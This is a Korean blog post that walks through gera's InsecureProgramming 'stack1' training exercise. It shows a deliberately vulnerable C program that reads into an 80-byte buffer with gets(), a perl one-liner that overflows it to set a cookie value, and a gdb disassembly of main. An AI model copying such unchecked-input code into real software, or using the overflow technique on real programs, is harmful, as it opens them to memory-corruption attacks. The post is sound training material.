/*
* http://sosal.tistory.com/
* made by so_Sal
*/
취약점이라 하기 뭣한~?! 음, 아주 간단한 문제입니다.
/* stack1.c *
* specially crafted to feed your brain by gera */
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);
if (cookie == 0x41424344)
printf("you win!\n");
}
buf[80] 배열을 overflow 시켜서, cookie 변수의 value를 \x41424344로 바꿔주면 되겠습니다.
[sosal@localhost gera]$ (perl -e 'print "\x44\x43\x42\x41"x24'x21;cat) | ./stack1
buf: bfa23ab0 cookie: bfa23b00
you win!
보통 배열과 붙어서 선언된 변수 사이에, 더미가 4~16정도로 생기는걸로 알고있어서,
\x44\x43\x42\x41을 24번 넣어줬구요,
값은 리틀엔디안 방식이기때문에 거꾸로 넣어줬습니다.
스택이 정확히 몇정도 잡힐까 궁금해서 디어셈 해봤는데..
(gdb) disas main
Dump of assembler code for function main:
0x080483e4 <main+0>: lea 0x4(%esp),%ecx
0x080483e8 <main+4>: and $0xfffffff0,%esp
0x080483eb <main+7>: pushl -0x4(%ecx)
0x080483ee <main+10>: push %ebp
0x080483ef <main+11>: mov %esp,%ebp
0x080483f1 <main+13>: push %ecx
0x080483f2 <main+14>: sub $0x74,%esp <-- 왜케 스택이 크게잡히는지..
0x080483f5 <main+17>: lea -0x8(%ebp),%eax
0x080483f8 <main+20>: mov %eax,0x8(%esp)
0x080483fc <main+24>: lea -0x58(%ebp),%eax
0x080483ff <main+27>: mov %eax,0x4(%esp)
0x08048403 <main+31>: movl $0x8048510,(%esp)
0x0804840a <main+38>: call 0x80482e4 <printf@plt>
0x0804840f <main+43>: lea -0x58(%ebp),%eax
0x08048412 <main+46>: mov %eax,(%esp)
0x08048415 <main+49>: call 0x80482c4 <gets@plt>
0x0804841a <main+54>: mov -0x8(%ebp),%eax
0x0804841d <main+57>: cmp $0x41424344,%eax
0x08048422 <main+62>: jne 0x8048430 <main+76>
0x08048424 <main+64>: movl $0x8048528,(%esp)
0x0804842b <main+71>: call 0x80482f4 <puts@plt>
0x08048430 <main+76>: add $0x74,%esp
0x08048433 <main+79>: pop %ecx
0x08048434 <main+80>: pop %ebp
0x08048435 <main+81>: lea -0x4(%ecx),%esp
0x08048438 <main+84>: ret
End of assembler dump.
(gdb)
여튼 간단하게 풀 수 있는 문제였습니다.
'Major Study. > System hacking' 카테고리의 다른 글
Gera _ Stack #3 (0) | 2010.04.30 |
---|---|
Gera _ Stack #2 (0) | 2010.04.30 |
Gera's InsecureProgramming (0) | 2010.04.30 |
Linux - shared library Hijacking (3) | 2010.01.27 |
Race condition 해킹 기법 문제 (0) | 2010.01.05 |